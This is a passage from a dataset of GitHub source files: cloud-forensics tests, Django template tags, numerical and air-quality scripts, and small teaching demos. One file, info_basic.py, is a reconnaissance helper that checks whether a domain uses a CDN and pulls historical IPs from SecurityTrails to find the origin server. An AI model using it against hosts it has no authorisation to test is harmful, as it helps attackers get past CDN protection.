pylint: disable=line-too-long\n\n @typing.no_type_check\n @mock.patch('libcloudforensics.providers.gcp.internal.build.GoogleCloudBuild.GcbApi')\n def testCreateBuild(self, mock_gcb_api):\n \"\"\"Test that Cloud Builds are correctly created.\"\"\"\n build_create_object = mock_gcb_api.return_value.projects.return_value.builds.return_value.create\n build_create_object.return_value.execute.return_value = gcp_mocks.MOCK_GCB_BUILDS_CREATE\n build_response = gcp_mocks.FAKE_GCB.CreateBuild({'Fake-Build_body': None})\n self.assertEqual(gcp_mocks.MOCK_GCB_BUILDS_CREATE, build_response)\n\n @typing.no_type_check\n @mock.patch('libcloudforensics.providers.gcp.internal.build.GoogleCloudBuild.GcbApi')\n def testBlockOperation(self, mock_gcb_api):\n \"\"\"Test that Cloud Builds are correctly blocked until done.\"\"\"\n build_operation_object = mock_gcb_api.return_value.operations.return_value.get\n build_operation_object.return_value.execute.return_value = gcp_mocks.MOCK_GCB_BUILDS_SUCCESS\n block_build_success = gcp_mocks.FAKE_GCB.BlockOperation(\n gcp_mocks.MOCK_GCB_BUILDS_CREATE)\n self.assertEqual(gcp_mocks.MOCK_GCB_BUILDS_SUCCESS, block_build_success)\n build_operation_object.return_value.execute.return_value = gcp_mocks.MOCK_GCB_BUILDS_FAIL\n with self.assertRaises(RuntimeError):\n gcp_mocks.FAKE_GCB.BlockOperation(gcp_mocks.MOCK_GCB_BUILDS_CREATE)\n","repo_name":"google/cloud-forensics-utils","sub_path":"tests/providers/gcp/internal/test_build.py","file_name":"test_build.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","stars":413,"dataset":"github-code","pt":"19"} +{"seq_id":"11992343082","text":"# -*- coding: utf-8 -*-\n\"\"\"\nGree Share Service要templatetags\ntemplatetags share_service\n\"\"\"\n\nfrom django import template\nfrom django.utils.encoding import smart_unicode\n\nregister = template.Library()\n\nSHARE_SERVICE_TEMPLATE_PATH = 'opensocial/share_service.html'\nINVITE_SERVICE_TEMPLATE_PATH = 'opensocial/invite_service.html'\nUPGRADE_SERVICE_TEMPLATE_PATH = 'opensocial/upgrade.html'\n\n\n@register.inclusion_tag(SHARE_SERVICE_TEMPLATE_PATH)\ndef share_service(value, callback_url, message=None, img_url_640=None,\n img_url_240=None,img_url_75=None):\n u\"\"\"\n ひとことサービスのボタンを出す\n\n 使い方::\n\n {% share_service <ボタン文言> <戻りURL> [送信メッセージ] [画像URL640] [画像URL240] [画像URL75] %}\n\n * 送信メッセージは119文字以内です\n * 各画像URLは、不要な場合は指定しないか None にしてください\n \"\"\"\n res = {\n 'callback_url': callback_url,\n 'message': smart_unicode(message),\n 'value': value,\n 'img_url_640': img_url_640,\n 'img_url_240': img_url_240,\n 'img_url_75': img_url_75,\n }\n return res\n\n\n@register.inclusion_tag(INVITE_SERVICE_TEMPLATE_PATH)\ndef invite_service(value, callback_url, to_user_ids, message=None):\n u\"\"\"\n 招待サービスのボタンを出す\n\n 使い方::\n\n {% invite_service <ボタン文言> <戻りURL> <送信ユーザーIDのリスト> [送信メッセージ] %}\n\n * 送信ユーザーIDのリスト は 15件までです\n * 送信メッセージは 100Byte 以内です\n \"\"\"\n res = {\n 'callback_url': callback_url,\n 'to_user_ids': to_user_ids,\n 'message': smart_unicode(message),\n 'value': value,\n }\n return res\n\n\n@register.inclusion_tag(UPGRADE_SERVICE_TEMPLATE_PATH)\ndef upgrade_service(value, grade, callback_url):\n u\"\"\"\n アップグレードサービスのボタンを出す\n\n ユーザーグレードの更新を促す。\n\n 使い方::\n\n {% upgrade_service <ボタン文言> <目標ユーザーグレード> <戻りURL> %}\n \"\"\"\n res = {\n 'callback_url': callback_url,\n 'grade': grade,\n 'value': value,\n }\n return res\n","repo_name":"subc/anchovy","sub_path":"anchovy/submodule/gsocial/templatetags/gree_service.py","file_name":"gree_service.py","file_ext":"py","file_size_in_byte":2224,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"70371857644","text":"# -*- coding: utf-8 -*-\n\"\"\"\nchebpy.tests.test_tridiag\n=========================\n\nTest tridiag.py\n\n\"\"\"\n\nimport unittest\nimport numpy as np\nfrom chebpy import almost_equal\nfrom chebpy import solve_tridiag_thual, solve_tridiag_complex_thual\n\nclass TridiagTest(unittest.TestCase):\n\n def testThual(self):\n L = np.array([[1,1,1,1,1,1],\n [3,2,1,0,0,0],\n [0,6,5,4,0,0],\n [0,0,7,9,8,0],\n [0,0,0,3,1,0],\n [0,0,0,0,2,7]])\n f = np.array([0,3,5,8,7,4])\n u0 = np.linalg.solve(L,f)\n\n p = np.array([3,6,7,3,2])\n q = np.array([2,5,9,1,7])\n r = np.array([1,4,8,0,0])\n c = np.array([1,1,1,1,1,1])\n\n u = solve_tridiag_thual(p,q,r,c,f)\n\n self.assertTrue(almost_equal(u0,u))\n \n def testThualComplex(self):\n L = np.array([[1,1,1,1,1,1],\n [3+1j,2,1,0,0,0],\n [0,6,5,4-1j,0,0],\n [0,0,7,9,8,0],\n [0,0,0,3,1,0],\n [0,0,0,0,2,7]])\n f = np.array([0,3,5,8,7,4])\n u0 = np.linalg.solve(L,f)\n\n p = np.array([3+1j,6,7,3,2])\n q = np.array([2,5,9,1,7])\n r = np.array([1,4-1j,8,0,0])\n c = np.array([1,1,1,1,1,1])\n\n u = solve_tridiag_complex_thual(p,q,r,c,f)\n\n # it will fail if tol < 40\n self.assertTrue(almost_equal(u0.real, u.real, 40))\n self.assertTrue(almost_equal(u0.imag, u.imag, 40))\n \n","repo_name":"liuyxpp/chebpy","sub_path":"chebpy/tests/test_tridiag.py","file_name":"test_tridiag.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"34427379033","text":"from __future__ import division\n\nimport argparse\nimport os\nimport re\nimport shutil\nimport sys\nsys.path.append('../smoke_tools')\nfrom datetime import datetime, timedelta\nfrom glob import glob\n\nimport geopy.distance as gd\nimport numpy as np\nimport pandas as pd\nfrom tqdm import tqdm\n\nfrom smoke.box.Box import Box\n\n\n# PM25.csv Fields\n# DATE_PST (for ordering observations)\n# DATE, TIME (for aggregating observations)\n# EMS_ID (for uniquely identifying stations, and aggregation)\n# RAW_VALUE (PM2.5 value in ug/m^3)\n\n\n# bc_air_monitoring_stations.csv\n# EMS_ID (for uniquely identifying stations, and aggregation)\n# LAT, LONG (for identifying relevant cells within the defined grid)\n\ndef custom_pm25_avg(x):\n # Threshold PM2.5 measurements to 500\n # Negative values are discarded when averaging\n x = x[x >= 0]\n x = x.clip(upper=500)\n\n # If there are no observations, we return NaN as the average\n if len(x) < 1:\n return np.nan\n\n return x.mean()\n\ndef custom_pm25_count(x):\n # Threshold PM2.5 measurements to 500\n # Negative values are discarded when averaging\n x = x[x >= 0]\n x = x.clip(upper=500)\n\n # If there are no observations, we return NaN as the average\n return len(x)\n\n\nif __name__ == \"__main__\":\n # Hardcoding these for now\n times = np.arange(datetime(2018, 1, 1, 1), datetime(2020, 1 , 1, 1), timedelta(hours=1)).astype(datetime)\n stations_path = '/projects/smoke_downloads/pm25/bc_air_monitoring_stations.csv'\n pm25_dir = '/projects/smoke_downloads/pm25/using'\n save_dir = '/projects/pm25_labels'\n # pm25_box = Box(56.956768, -131.38922, 48.541751, -129.580869, 1120, 5)\n pm25_box = Box(57.870760, -133.540154, 46.173395, -129.055971, 1250, 5)\n\n if os.path.exists(save_dir):\n shutil.rmtree(save_dir)\n os.makedirs(save_dir)\n\n # Load bc_air_monitoring_stations.csv\n stations_df = pd.read_csv(stations_path,\n header=0)\n cols_stations = ['EMS_ID', 'LAT', 'LONG']\n stations_df = stations_df[cols_stations]\n\n #######################\n # 1. Build the PM2.5 master dataframe\n\n # Get a list of all pm25 datasets\n all_pm25 = glob(os.path.join(pm25_dir, '2*.csv'))\n\n # Load the dataframes within the PM2.5 directory and concatenate\n list_of_pm25_dfs = []\n for pm25_path in all_pm25:\n pm25_df = pd.read_csv(pm25_path,\n header=0)\n cols_pm25 = ['DATE_PST', 'EMS_ID', 'RAW_VALUE', 'INSTRUMENT']\n pm25_df = pm25_df[cols_pm25]\n\n # Remove negative and NaN values\n # Clip to maintain <500\n pm25_df = pm25_df[pm25_df['RAW_VALUE'] >= 0]\n pm25_df = pm25_df.dropna(subset=['RAW_VALUE'])\n pm25_df['RAW_VALUE'] = pm25_df['RAW_VALUE'].clip(upper=500)\n\n # Remove BAM measurements\n # For every measurement, if there is another with the same ems_id,\n # prioritize PM25_SHARP5030(i), then PM25_R&P_TEOM, and finally BAM1020\n date_ems = pm25_df.groupby(['DATE_PST', 'EMS_ID'], as_index=True).agg({'INSTRUMENT': 'count'})\n duplicates = date_ems[date_ems['INSTRUMENT'] >= 2]\n duplicates = set(duplicates.index.values)\n\n grouped_pm25 = pm25_df.groupby(['DATE_PST', 'EMS_ID'], as_index=False)\n # grouped_pm25 = pm25_df.groupby(['DATE_PST', 'EMS_ID'])\n def raw_subset_and_avg(group):\n df = {}\n d = group['DATE_PST'].to_numpy()\n assert(len(set(d))) == 1\n ems = group['EMS_ID'].to_numpy()\n assert(len(set(ems))) == 1\n instru = group['INSTRUMENT'].to_numpy()\n raw = group['RAW_VALUE'].to_numpy()\n\n if (d[0], ems[0]) in duplicates:\n regex_instru = list(map(lambda x: re.match('PM25_SHARP*', x), instru))\n if regex_instru.count(None) == len(regex_instru):\n regex_instru = list(map(lambda x: re.match('PM25_T640*', x), instru))\n if regex_instru.count(None) == len(regex_instru):\n regex_instru = list(map(lambda x: re.match('PM25_*', x), instru))\n sharp_idx = next(i for i, item in enumerate(regex_instru) if item is not None)\n df['RAW_VALUE'] = raw[sharp_idx]\n else:\n try:\n assert(len(raw) == 1)\n except:\n raw = [np.mean(raw)]\n df['RAW_VALUE'] = raw[0]\n\n return pd.Series(df)\n\n # Create and register a new `tqdm` instance with `pandas`\n # (can use tqdm_gui, optional kwargs, etc.)\n tqdm.pandas()\n\n # Now you can use `progress_apply` instead of `apply`\n pm25_df = grouped_pm25.progress_apply(raw_subset_and_avg)['RAW_VALUE'].reset_index()\n\n list_of_pm25_dfs.append(pm25_df)\n\n # Concatenate the list of DataFrames\n pm25_df = pd.concat(list_of_pm25_dfs)\n\n # Convert DATE_PST to a datetime object\n pm25_df['DATE_PST'] = pd.to_datetime(pm25_df['DATE_PST'])\n\n # Save the master PM2.5 df\n pm25_df.to_csv(os.path.join(pm25_dir, 'master_pm25.csv'), index=False)\n\n ######################\n # 2. Identify the actual time slots that we want, and the EMS stations we want at those time slots\n\n # Load the master PM2.5 df\n master_pm25_path = os.path.join(pm25_dir, 'master_pm25.csv')\n pm25_df = pd.read_csv(master_pm25_path,\n header=0)\n\n pm25_df_ems_avg = pm25_df.groupby(['EMS_ID'], as_index=False).agg({'RAW_VALUE' : [custom_pm25_avg, custom_pm25_count]})\n pm25_df_ems_avg.reset_index(inplace=True)\n pm25_df_ems_avg.columns = [' '.join(col).strip() for col in pm25_df_ems_avg.columns.values]\n\n # Drop the NaN values\n pm25_df_ems_avg = pm25_df_ems_avg.dropna()\n\n # Keep track of which EMS_IDs we had an average for in this time block\n present_ems_ids = pm25_df_ems_avg['EMS_ID'].to_numpy()\n ems_counts = pm25_df_ems_avg['RAW_VALUE custom_pm25_count'].to_numpy()\n\n # Find top N counts\n N = 10\n ind = np.argpartition(ems_counts, -N)[-N:]\n\n # Determine the EMS_IDs we want to include\n included_ems_ids = set(present_ems_ids[ind])\n\n #####################################\n # Find the dates and times where we will have observations with those EMS_IDs\n # i.e. we want stations identified above to have measurements in each observation\n\n def custom_ems_count(x):\n if included_ems_ids.issubset(set(x.to_numpy())):\n return 1\n else:\n return 0\n\n # We do this by aggregating DATE_PST\n # For each DATE_PST, we increment the number of measurements if all EMS_IDs are present\n pm25_df_times_count = pm25_df.groupby(['DATE_PST'], as_index=False).agg({'EMS_ID' : custom_ems_count})\n times = pm25_df_times_count[pm25_df_times_count['EMS_ID'] == 1]['DATE_PST'].to_numpy()\n\n\n #####################\n # 3. Iterate through array of times defined above and save the appropriate PM2.5 arrays\n # for i, t in enumerate(tqdm(times)):\n for i, t in enumerate(tqdm(times)):\n # Subset the pm25 dataframe to those entries containing the relevant times\n pm25_df_relevant = pm25_df[pm25_df['DATE_PST'] == t]\n\n # Average over EMS_ID to handle repeated measurements problem\n # Group on EMS_ID and average aggregate RAW_VALUE\n pm25_df_relevant_avg = pm25_df_relevant.groupby(['EMS_ID']).agg({'RAW_VALUE' : custom_pm25_avg})\n pm25_df_relevant_avg.reset_index(inplace=True)\n\n # print(pm25_df_relevant_avg.head(25))\n\n # Drop the NaN values\n pm25_df_relevant_avg = pm25_df_relevant_avg.dropna()\n\n # Keep track of which EMS_IDs we had an average for in this time block\n present_ems_ids = pm25_df_relevant_avg['EMS_ID'].to_numpy()\n station_pm25s = pm25_df_relevant_avg['RAW_VALUE'].to_numpy()\n\n # Initialize the PM2.5 grid, as well as the grid mask\n # pm25_grid = np.zeros((pm25_box.num_cells, pm25_box.num_cells))\n pm25_grid = dict.fromkeys(included_ems_ids)\n # pm25_mask = np.zeros((pm25_box.num_cells, pm25_box.num_cells))\n\n # For each EMS_ID we have a measurement for, retrieve its LAT and LONG from the stations dataframe\n # and compute which grid index we should set its RAW_VALUE avg to\n for ems_id, pm25 in zip(present_ems_ids, station_pm25s):\n stat_lat = stations_df[stations_df['EMS_ID'] == ems_id]['LAT'].to_numpy()[0]\n stat_lon = stations_df[stations_df['EMS_ID'] == ems_id]['LONG'].to_numpy()[0]\n\n # if not pm25_box.is_within(stat_lat, stat_lon):\n # print('All stations should be within box...')\n # print(ems_id)\n # print(stat_lat)\n # print(stat_lon)\n # sys.exit(1)\n\n if ems_id not in included_ems_ids:\n continue\n\n m, n = pm25_box.get_cell_assignment(stat_lat, stat_lon)\n # # if np.isnan(m) or np.isnan(n):\n # # print(ems_id)\n # # print(stat_lat)\n # # print(stat_lon)\n # # sys.exit(1)\n # # print(m, n)\n # pm25_grid[m][n] = pm25\n pm25_grid[ems_id] = pm25\n\n # # The corresponding grid index in the grid mask should be set to 1\n # pm25_mask[m][n] = 1\n\n # Check that we only added keys that were to be included, and that we added all of them\n assert(pm25_grid.keys() == included_ems_ids)\n pm25_grid = np.array(list(pm25_grid.values()))\n\n # Save the image and mask at this time block\n t = datetime.strptime(t, '%Y-%m-%d %H:%M:%S')\n year, month, day, hour = str(t.year), str(t.month), str(t.day), str(t.hour)\n save_path = os.path.join(save_dir, year + '_' + month + '_' + day + '_' + hour + '_pm25_labels.npy')\n np.save(save_path, pm25_grid)\n # save_path = os.path.join(save_dir, year + '_' + month + '_' + day + '_' + hour + '_pm25_mask.npy')\n # np.save(save_path, pm25_mask)\n","repo_name":"minnieteng/smoke_project","sub_path":"smoke_tools/save_pm25_linear.py","file_name":"save_pm25_linear.py","file_ext":"py","file_size_in_byte":9973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"10873050301","text":"# 프로그래머스 # k진수에서 소수 개수 구하기\n\nimport re\ndef solution(n, k):\n k_number = ''\n if k == 10:\n k_number = str(n)\n else:\n while n:\n n, rest = divmod(n, k)\n k_number += str(rest)\n k_number = k_number[::-1]\n candidates = list(map(int, re.findall('[123456789]+', k_number)))\n answer = 0\n for candidate in candidates:\n if candidate == 1: continue\n flag = True\n for num in range(2, int(candidate ** 0.5) + 1):\n if candidate % num == 0:\n flag = False\n break\n if flag:\n answer += 1\n return answer","repo_name":"opjoobe/python_algorithm","sub_path":"Programmers/k진수에서 소수 개수 구하기.py","file_name":"k진수에서 소수 개수 구하기.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"21777764153","text":"'''\n该文件当中存放域名的相关信息的函数\n\niscdn\n没有www的网页的domain请求\n历史的IP信息查询\n返回请求的响应长度\n'''\nyellow = '\\033[01;33m'\nwhite = '\\033[01;37m'\ngreen = '\\033[01;32m'\nblue = '\\033[01;34m'\nred = '\\033[1;31m'\nend = '\\033[0m'\n\n\n\n\n\nimport dns.resolver\nimport requests\nimport sys\ndef domain_handler(domain):\n if \"http\" not in domain or \"www\" not in domain:\n print(\"格式不规范 标准格式 http://www.example.com\")\n sys.exit(0)\n return domain\ndef domain_short(domain):\n domain=domain.lstrip(\"http://www.\")\n domain=domain.lstrip(\"https://www.\")\n return domain\ndef iscdn(domain,ip_lis,port=80):\n '''\n 通过访问dns进行解析出来a记录然后进行访问常见的端口\n :param domain: domain 的形式 example.com\n :param ip_lis: 出现解析a记录的ip的列表\n :param port: 端口默认为80和443\n :return: 判断该域名是否是采用了cdn加速\n '''\n ans = dns.resolver.query(domain,'A')\n for i in ans.response.answer[-1].items:\n ip_lis.append(i.address)\n flag=0\n for ip in ip_lis:\n try:\n r=requests.get('http://'+ip+\":\"+str(port),timeout=2)\n code=r.status_code\n except:\n code=600\n try:\n r1 = requests.get('https://' + ip + \":443\", timeout=2)\n code1 = r1.status_code\n except:\n code1=500\n\n if code< 400 or code1 <400 : #表示能够访问其中的IP地址\n flag=1\n break\n if flag:\n print(f'''{red}domain+\"不存在cdn 加速\"''')\n return True\n else:\n print(f'''{green}domain+\"存在cdn 加速\"''')\n return False\nfrom urllib.parse import urlparse\ndef withoutwww(domain,ip_lis):\n '''\n :param domain: domain www.example.com\n :param ip_lis: 输入的ip_lis\n :return: 返回的列表当中加上没有www的域名\n '''\n\n #除去domain当中的www\n\n domain=domain.lstrip('www.')\n ans = dns.resolver.query(domain,'A') #还是通过dns进行查询\n if ans:\n for i in ans.response.answer[-1].items:\n if i.address in ip_lis:\n continue\n print(f'''{green}Find a host without www{str(i.address)}''')\n ip_lis.append(i.address)\n\n return (ip_lis)\nimport config\nimport json\ndef history_ip(domain):\n '''\n :param ip_lis: 输入的IP信息\n :param domain:进行请求的domain的信息 example.com\n :return: 返回的数据还是操作的ip列表\n '''\n url = \"https://api.securitytrails.com/v1/history/\"+domain+\"/dns/a\"\n headers = {'accept': 'application/json',\n 'APIKEY': config.securitytrail_key\n }\n raw_data = requests.request(\"GET\", url, headers=headers)\n raw_data = json.loads(raw_data.text)\n t=0\n ip_lis=[]\n for i in (raw_data[\"records\"]):\n for j in (i['values']):\n t+=1\n ip_lis.append(j['ip'])\n print(f'''{green}History get {str(t)} ip ''')\n return (list(set(ip_lis)))\n\ndef get_resp_len(url):\n #返回数据的响应包信息\n '''\n Get the length of response body.\n '''\n res =999999\n try:\n r = requests.get(url, timeout=2)\n if r.status_code ==200:\n res = len(r.content)\n except:\n pass\n return res","repo_name":"Startr4ck/findip","sub_path":"info_basic.py","file_name":"info_basic.py","file_ext":"py","file_size_in_byte":3316,"program_lang":"python","lang":"zh","doc_type":"code","stars":14,"dataset":"github-code","pt":"19"} +{"seq_id":"17610757782","text":"class encapDemo:\n #here is a demo of using underscore prefixes to\n #show the state of a variable\n _protectedVar = 10\n __privateVar = 20\n\n #creates a method that is able to access the\n \n def getPrivate(self):\n print(self.__privateVar)\n\ndemo = encapDemo()\n\nprint(demo._protectedVar)\ndemo.getPrivate()\n \n","repo_name":"mckayreedmoore/Python-Projects","sub_path":"Beginning Python Projects/encapsulation.py","file_name":"encapsulation.py","file_ext":"py","file_size_in_byte":332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"73382874603","text":"def divisors(num):\n divisors = [i for i in range (1, num + 1) if num % i == 0]\n return divisors\n\ndef run():\n try:\n num = int(input(\"Ingresa un numero: \"))\n if num < 0:\n raise ValueError(\"Debes ingresar un número positivo!!!\")\n print(divisors(num))\n print(\"Terminó mi programa\")\n except ValueError as ve:\n print(ve)\n\nif __name__ == '__main__':\n run()","repo_name":"johnnystefan/intermediate_python_course","sub_path":"debugging.py","file_name":"debugging.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"4466005531","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Dec 18 18:21:04 2019\n\n@author: psarzaeim2, Hasnat\n\nUpdated on May 2023 \n\"\"\"\n\n## Controlling G2F weather data files and the columns names \n# =============================================================================\n# Import necessary libraries\n# =============================================================================\nimport os\nimport glob\nimport re\nimport pathlib\nimport argparse\nimport pandas as pd\n\n# =============================================================================\n# Input and Output directories\n# =============================================================================\nparser = argparse.ArgumentParser()\nparser.add_argument('-i', '--input', help='Path of Input Directory from Current Path', required=False)\nparser.add_argument('-o', '--output', help='Path of Output Directory from Current Path', required=False)\n\nparser.add_argument('-s', '--Station ID', help='Alternative Name for Station ID that exists in Data', required=False)\nparser.add_argument('-e', '--Experiment', help='Alternative Name for Experiment that exists in Data', required=False)\nparser.add_argument('-d', '--Day [Local]', help='Alternative Name for Day that exists in Data', required=False)\nparser.add_argument('-y', '--Year [Local]', help='Alternative Name for Year that exists in Data', required=False)\nparser.add_argument('-m', '--Month [Local]', help='Alternative Name for Month that exists in Data', required=False)\nparser.add_argument('-t', '--Time [Local]', help='Alternative Name for Time that exists in Data', required=False)\nparser.add_argument('-tmp', '--Temperature [C]', help='Alternative Name for Temperature that exists in Data', required=False)\nparser.add_argument('-dp', '--Dew Point [C]', help='Alternative Name for Station ID that exists in Data', required=False)\nparser.add_argument('-rh', '--Relative Humidity [%]', help='Alternative Name for Relative Humidity that exists in Data', required=False)\nparser.add_argument('-sr', '--Solar Radiation [W/m2]', help='Alternative Name for Solar Radiation that exists in Data', required=False)\nparser.add_argument('-r', '--Rainfall [mm]', help='Alternative Name for Rainfall that exists in Data', required=False)\nparser.add_argument('-wd', '--Wind Direction [degrees]', help='Alternative Name for Wind Direction that exists in Data', required=False)\nparser.add_argument('-ws', '--Wind Speed [m/s]', help='Alternative Name for Wind Speed that exists in Data', required=False)\nparser.add_argument('-wg', '--Wind Gust [m/s]', help='Alternative Name for Wind Gust that exists in Data', required=False)\nparser.add_argument('-da', '--Date', help='Alternative Name for Date that exists in Data', required=False)\nparser.add_argument('-doy', '--Day of Year [Local]', help='Alternative Name for Day of Year [Local] that exists in Data', required=False)\n\nargs = parser.parse_args()\ndef output_fdir(argument_path):\n dir_path = os.path.abspath(argument_path)\n if os.path.exists(dir_path):\n dir_name = dir_path\n else:\n os.makedirs(dir_path)\n dir_name = dir_path\n return dir_name\n\nif args.input is not None:\n Input_path = os.path.abspath(args.input)\n if os.path.exists(Input_path):\n Input_dir = Input_path\n if args.output is not None:\n Output_dir = output_fdir(args.output)\n else:\n Output_path = os.path.join(Input_path,'../../File Control/Environment/output')\n Output_dir = output_fdir(Output_path)\n else:\n print(f'The input directory {args.input} does not exists on system path. Correct the Input directory, provided directory has {Input_path} path')\n\nelif os.path.exists(\"../../../File Upload/Environment\"):\n Input_dir = os.path.abspath(\"../../../File Upload/Environment\")\n if args.output is not None:\n Output_dir = output_fdir(args.output)\n else:\n Output_path = '../../../File Control/Environment/output'\n Output_dir = output_fdir(Output_path) \nelif os.path.exists(\"File Upload/Environment\"):\n Input_dir = os.path.abspath(\"File Upload/Environment\")\n if args.output is not None:\n Output_dir = output_fdir(args.output)\n else:\n Output_path = 'File Control/Environment/output'\n Output_dir = output_fdir(Output_path) \nelif os.path.exists(\"../File Upload/Environment\"):\n Input_dir = os.path.abspath(\"../File Upload/Environment\")\n if args.output is not None:\n Output_dir = output_fdir(args.output)\n else:\n Output_path = '../File Control/Environment/output'\n Output_dir = output_fdir(Output_path)\n\nelse:\n print(\"No input directory is provided in arguments and directory is not exits on possible locations. Provide the directory in arguments or create directories based on instructions\")\n\nprint (\"Input directory = \", Input_dir)\nprint (\"Output directory = \", Output_dir)\ndef column_identifier(col_name_list, identifier):\n \"\"\"\n This function try to find the column names that are required by parital search and removing different parts of the string.\n It first use parial search if only one column found it rename it otherwise first it remove parenthesess and spaces and check.\n If more then one column have similar names then it try other methods.\n Args:\n col_name_list:\n identifier:\n\n Returns:\n identified_col_name\n \"\"\"\n col_identy = identifier.lower()\n col_index = []\n col_index1 = []\n col_index2 = []\n for col in range(len(col_name_list)):\n if col_name_list[col].lower() == col_identy:\n col_index.append(col)\n elif col_name_list[col].lower() in col_identy:\n col_index1.append(col)\n elif col_identy in col_name_list[col].lower():\n col_index2.append(col)\n else:\n pass\n if len(col_index) == 1:\n identified_col_name = col_name_list[col_index[0]]\n elif len(col_index1) == 1 and len(col_index) == 0:\n identified_col_name = col_name_list[col_index1[0]]\n elif len(col_index2) == 1 and len(col_index) == 0 and len(col_index1) == 0:\n identified_col_name = col_name_list[col_index2[0]]\n else:\n col_identy = re.sub(r'[^0-9a-zA-Z]', '', identifier.lower())\n col_name_change = [re.sub(r'[^0-9a-zA-Z]', '', col) for col in col_name_list]\n col_name_change = [col.lower() for col in col_name_change]\n col_index = []\n col_index1 = []\n col_index2 = []\n for col in range(len(col_name_change)):\n if col_name_change[col] == col_identy:\n col_index.append(col)\n elif col_name_change[col] in col_identy:\n col_index1.append(col)\n elif col_identy in col_name_change[col]:\n col_index2.append(col)\n else:\n pass\n if len(col_index) == 1:\n identified_col_name = col_name_list[col_index[0]]\n elif len(col_index1) == 1 and len(col_index) == 0:\n identified_col_name = col_name_list[col_index1[0]]\n elif len(col_index2) == 1 and len(col_index) == 0 and len(col_index1) == 0:\n identified_col_name = col_name_list[col_index2[0]]\n else:\n col_identy = re.sub(r'[^a-zA-Z]', '', identifier.lower())\n col_name_change = [re.sub(r'[^a-zA-Z]', '', col) for col in col_name_list]\n col_name_change = [col.lower() for col in col_name_change]\n col_index = []\n col_index1 = []\n col_index2 = []\n for col in range(len(col_name_change)):\n if col_name_change[col] == col_identy:\n col_index.append(col)\n elif col_name_change[col] in col_identy:\n col_index1.append(col)\n elif col_identy in col_name_change[col]:\n col_index2.append(col)\n else:\n pass\n if len(col_index) == 1:\n identified_col_name = col_name_list[col_index[0]]\n elif len(col_index1) == 1 and len(col_index) == 0:\n identified_col_name = col_name_list[col_index1[0]]\n elif len(col_index2) == 1 and len(col_index) == 0 and len(col_index1) == 0:\n identified_col_name = col_name_list[col_index2[0]]\n else:\n col_identy = re.sub(r'[^0-9a-zA-Z]', '', identifier.lower().split('[')[0])\n col_name_change = [re.sub(r'[^0-9a-zA-Z]', '' , col.lower().split(r'\\W')[0]) for col in col_name_list]\n col_index = []\n col_index1 = []\n col_index2 = []\n for col in range(len(col_name_change)):\n if col_name_change[col] == col_identy:\n col_index.append(col)\n elif col_name_change[col] in col_identy:\n col_index1.append(col)\n elif col_identy in col_name_change[col]:\n col_index2.append(col)\n else:\n pass\n if len(col_index) == 1:\n identified_col_name = col_name_list[col_index[0]]\n elif len(col_index1) == 1 and len(col_index) == 0:\n identified_col_name = col_name_list[col_index1[0]]\n elif len(col_index2) == 1 and len(col_index) == 0 and len(col_index1) == 0:\n identified_col_name = col_name_list[col_index2[0]]\n else:\n col_identy = re.sub(r'[^a-zA-Z]', '' , identifier.lower().split('[')[0])\n col_name_change = [re.sub(r'[^a-zA-Z]','' , col.lower().split(r'\\W')[0]) for col in col_name_list]\n col_index = []\n col_index1 = []\n col_index2 = []\n for col in range(len(col_name_change)):\n if col_name_change[col] == col_identy:\n col_index.append(col)\n elif col_name_change[col] in col_identy:\n col_index1.append(col)\n elif col_identy in col_name_change[col]:\n col_index2.append(col)\n else:\n pass\n if len(col_index) == 1:\n identified_col_name = col_name_list[col_index[0]]\n elif len(col_index1) == 1 and len(col_index) == 0:\n identified_col_name = col_name_list[col_index1[0]]\n elif len(col_index2) == 1 and len(col_index) == 0 and len(col_index1) == 0:\n identified_col_name = col_name_list[col_index2[0]]\n else:\n identified_col_name = None\n return identified_col_name\n\n\n\n\n# =============================================================================\n# Read the weather files and check the columns names\n# ============================================================================= \nDefined_col_names = [\"Station ID\", \"Experiment\", \"Day [Local]\", \"Month [Local]\", \"Year [Local]\", \"Time [Local]\",\n \"Temperature [C]\", \"Dew Point [C]\", \"Relative Humidity [%]\", \"Solar Radiation [W/m2]\", \"Rainfall [mm]\", \"Wind Speed [m/s]\",\n \"Wind Direction [degrees]\", \"Wind Gust [m/s]\", \"Date\"]\n\nWeather_files = glob.glob(os.path.abspath(os.path.join(Input_dir,'*.csv')))\n#print(Weather_files)\nfor filename in Weather_files:\n try:\n df = pd.read_csv (filename, low_memory=False)\n except:\n with open(filename, \"r\") as rawdata:\n encoding_name=rawdata.encoding\n df = pd.read_csv (filename, encoding=encoding_name, low_memory=False)\n col_name = df.columns.tolist()\n for defined_col in Defined_col_names:\n if defined_col not in col_name:\n if vars(args).get(defined_col) is not None:\n args_value = vars(args).get(defined_col)\n if args_value in col_name:\n df.rename(columns={args_value: defined_col}, inplace=True)\n else:\n possible_col_name = column_identifier(col_name, args_value)\n if possible_col_name is not None:\n df.rename(columns={possible_col_name: defined_col}, inplace=True)\n else:\n possible_col_name = column_identifier(col_name, defined_col)\n if possible_col_name is not None:\n df.rename(columns={possible_col_name: defined_col}, inplace=True)\n else:\n if defined_col==\"Year [Local]\" or defined_col==\"Month [Local]\" or defined_col==\"Day [Local]\":\n if column_identifier(col_name, args.Date) is not None:\n if df[column_identifier(col_name, args.Date)].isna().count() > df.index.count()/2:\n df[defined_col] = None\n else:\n pass\n elif column_identifier(col_name, \"Date\") is not None:\n if df[column_identifier(col_name, \"Date\")].isna().count() > df.index.count()/2:\n df[defined_col] = None\n else:\n pass\n else:\n print(\n f\"{defined_col} column is unrecognized in {filename}, {args.defined_col} is also not exits in {filename}, therefor it cannot be rename to {defined_col} And it is also not match with any possible name\")\n elif defined_col==\"Date\" or defined_col==\"Day of Year [Local]\":\n df[defined_col]=None\n else:\n 